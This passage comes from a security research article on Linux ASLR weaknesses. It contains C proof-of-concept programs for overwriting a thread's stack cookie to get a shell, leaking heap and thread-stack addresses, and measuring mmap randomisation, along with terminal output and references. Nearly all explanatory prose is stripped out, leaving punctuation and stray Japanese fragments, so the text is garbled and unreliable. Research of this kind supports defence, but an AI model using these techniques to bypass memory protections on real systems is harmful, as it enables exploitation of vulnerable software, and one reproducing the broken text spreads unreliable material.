pthread_join(one,&val); return 0; } 

. «»:


 blackzert@crasher:~/aslur/tests$ ./thread_stack_tls main FS 0x7fa0e8615700 cookie main: 0xb5b15744571fd00 thread FS 0x7fa0e7e2f700 cookie thread: 0xb5b15744571fd00 stack_cookie addr 0x7fa0e7e2ef48 diff : 7b8 *** stack smashing detected ***: ./thread_stack_tls terminated Aborted (core dumped) 

«», pwn_payload , sh.


 blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1 main FS 0x7f4d94b75700 cookie main: 0x2ad951d602d94100 thread FS 0x7f4d94385700 cookie thread: 0x2ad951d602d94100 stack_cookie addr 0x7f4d94384f48 diff : 7b8 $ ^D blackzert@crasher:~/aslur/tests$ 

. , «». 0x7b8+0x30 , 2024 .


5.7 , malloc


, malloc . ゜ヌスコヌド


 void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr; ptr = malloc(8); printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff844e98c</b> 0x7f20480008c0, 0x7f204fbb1f34 

:


 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff94a598c</b> 0x7fa3140008c0, 0x7fa31ab5af34 

. . , .


, : , malloc, [heap] .


glibc pthread_create . TLS , «» , : malloc.


«»?


glibc mmap, . 64 . 64 . 128 , 64 , , «» , mmap .


mmap_based : 64 , mmap , malloc .


, — .


, x86-64 Linux «47bits minus one guard page», 2^47 ( ).
64 2^26, 47 – 26 = 21. 2^21 .


.


mmap , , pthread_create , 64 , . , , . .


malloc . glibc, ld . .


6 , mmap_base , : mmap_base 28 32 ( 28 ). .


, 7 0x7f 0x7e. 7 . 2^14 . , .


C:


 void * first(void *x) { int a = (int)x; void *ptr; ptr = malloc(8); printf("%p\n", ptr ); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; } 

, , Python:


 import subprocess d = {} def dump(iteration, hysto): print 'Iteration %d len %d'%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key] i = 0 while i < 1000000: out = subprocess.check_output(['./t']) addr = int(out, 16) #omit page size addr >>= 12 if addr in d: d[addr] += 1 else: d[addr] = 1 i += 1 dump(i,d) 

'./t', , malloc . , , . 16 385 , 2^14+1. , .


« , malloc », . : mmap , , — .


5.8


malloc . , malloc . 0xdeadbeef. , malloc. . . ゜ヌスコヌド


 void * func(void *x) { long a[1024]; printf("addr: %p\n", &a[0]); if (x) printf("value %lx\n", a[0]); else { a[0] = 0xdeadbeef; printf("value %lx\n", a[0]); } void * addr = malloc(32); printf("malloced %p\n", addr); free(addr); return 0; } int main(int argc, char **argv, char **envp) { int val; pthread_t thread; pthread_create(&thread, NULL, func, 0); pthread_join(thread, &val); pthread_create(&thread, NULL, func, 1); pthread_join(thread, &val); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./pthread_cache addr: <b>0x7fd035e04f40</b> value <b>deadbeef</b> malloced <b>0x7fd030000cd0</b> addr: <b>0x7fd035e04f40</b> value <b></b>deadbeef malloced <b>0x7fd030000cd0</b> 

, , , . , malloc. . (26). , ASLR.



, :


  1. «execve» .
  2. vma, ( stack_base ). 2^47 – pagesize ( pagesize — , x86-64 4096), random1 , 16 ( , , : , ).
  3. mmap_base — , . stack_base – random2 – 128 , random2 , 1 16 .
  4. . PIE ( ), (2^47 – 1) * 2/3 + random3, random3 1 16 .
  5. , -, . ELF- ld glibc. mmap_base .
  6. ELF- random4 32 .

, , ELF- (ld), ELF- , ( «» ELF).


ASLR



, , , . ( ), .


, ASLR. , , .


, mmap - () mmap -:



Python, . ELF- . , , /proc: ld ( mmap_base) , . . . https://github.com/blackzert/aslur


6.1


, - .


  1. . glibc . — , , . . :


  1. :
    • «»;
    • , 1;
    • mmap .

7.


, . .


7.1 ld.so


4.4, ELF- Linux . , :
https://lkml.org/lkml/2017/7/14/290


7.2 ELF-


, glibc ELF- — , . PoC , https://github.com/blackzert/aslur


: , vaddr .


7.3 mmap_min_addr mmap


mmap , , : mmap . «», execve.


( 3) « , ». , mmap_min_addr. sysctl. , . 65536.


, mmap x86-64 Linux 4096, mmap_min_addr. cap_mmap_addr , 4096 mmap_min_addr.


cap_mmap_addr : «» . : , - , . , , , «» EPERM.


: , . , — EPERM .


mmap_min_addr . .


, , , — EPERM, . mmap :


” EPERM The operation was prevented by a file seal; see fcntl(2).”
EPERM MAP_ANONYMOUS, .


7.4 mmap


mmap — . , , — . , , . , — .


:


  1. . , () .
  2. , , , . () , , , . vma .
  3. - vma gap . , .

— vma :


  1. gap, . vma , . , ENOMEM .
  2. gap , vma — .
  3. vma . - , .
  4. vma , vma . , . 1, gap.
  5. gap.

4 , gap .


, .


vma , gap. .


8. ASLR


/bin/less :


 314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so 314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so 314a2d303000-314a2d304000 rw-p 3169afcd8000-3169afcdb000 rw-p 316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9 316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9 3204e362d000-3204e3630000 rw-p 4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 447800308000-44780030c000 rw-p 509000396000-509000d60000 r--p /usr/lib/locale/locale-archive 56011c1b1000-56011c1d7000 r-xp /bin/less 56011c3d6000-56011c3d7000 r--p /bin/less 56011c3d7000-56011c3db000 rw-p /bin/less 56011c3db000-56011c3df000 rw-p 56011e0d8000-56011e0f9000 rw-p [heap] 7fff6b4a4000-7fff6b4c5000 rw-p [stack] 7fff6b53b000-7fff6b53e000 r--p [vvar] 7fff6b53e000-7fff6b540000 r-xp [vdso] ffffffffff600000-ffffffffff601000 r-xp [vsyscall] 

:


  1. , .
  2. «/usr/lib/locale/locale-archive», mmap, .
  3. «» /lib/x86_64-linux-gnu/ld-2.26.so mmap.

Ubuntu 17.04 Chrome Mozilla Firefox. .


9.


glibc . . :



ASLR . .


PoC. , . ASLR , Windows Mac OS X.


GNU Libc, .


ASLR , Windows, Mac OS X Android.


: .


参照資料


  1. Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. [Online] Aug 2008. https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf .
  2. xorl. [Online] https://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/ .
  3. Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors. [ ] December 1992 . https://web.stanford.edu/class/cs343/resources/purify.pdf .
  4. Improper Restriction of Operations within the Bounds of a Memory Buffer. [ ] https://cwe.mitre.org/data/definitions/119.html .
  5. AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%. [ ] http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html .
  6. Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR. [ ] http://www.cs.ucr.edu/~nael/pubs/micro16.pdf .
  7. Hector Marco-Gisbert, Ismael Ripoll. Offset2lib: bypassing full ASLR on 64bit Linux. [ ] https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html .
  8. Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. [ ] 2016 . https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf .
  9. Doubly linked list. [ ] https://en.wikipedia.org/wiki/Doubly_linked_list .
  10. Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms. [ ] 24 January 1972 . https://link.springer.com/article/10.1007%2FBF00289509 .
  11. Lespinasse, Michel. mm: use augmented rbtrees for finding unmapped areas. [ ] 5 November 2012 . https://lkml.org/lkml/2012/11/5/673 .
  12. Integer Overflow or Wraparound. [ ] https://cwe.mitre.org/data/definitions/190.html .
  13. Classic Buffer Overflow. [ ] https://cwe.mitre.org/data/definitions/120.html .
  14. Incorrect Type Conversion or Cast. [ ] https://cwe.mitre.org/data/definitions/704.html .
  15. CVE-2014-9427. [ ] https://www.cvedetails.com/cve/CVE-2014-9427/ .
  16. Security Enhancements in Android 7.0. [ ] https://source.android.com/security/enhancements/enhancements70 .
  17. Implement Library Load Order Randomization. [ ] https://android-review.googlesource.com/c/platform/bionic/+/178130/2 .
  18. Thread-Local Storage. [ ] http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html .
  19. One, Aleph. Smashing The Stack For Fun And Profit. [ ] http://www.phrack.org/issues/49/14.html#article .
  20. Fritsch, Hagen. Buffer overflows on linux-x86-64. [ ] 16 April 2009 . http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf .
  21. Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention. [ ] 8 September 2003 . https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf .
  22. Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER, OR RUNNING. [ ] https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf .
  23. Use After Free. [ ] https://cwe.mitre.org/data/definitions/416.html .
  24. [ ] http://www.skyfree.org/linux/references/ELF_Format.pdf .
  25. Hocko, Michal. mm: introduce MAP_FIXED_SAFE. [ ] https://lwn.net/Articles/741335/ .
  26. Use of Uninitialized Variable. [ ] https://cwe.mitre.org/data/definitions/457.html .


Source: https://habr.com/ru/post/J349544/


All Articles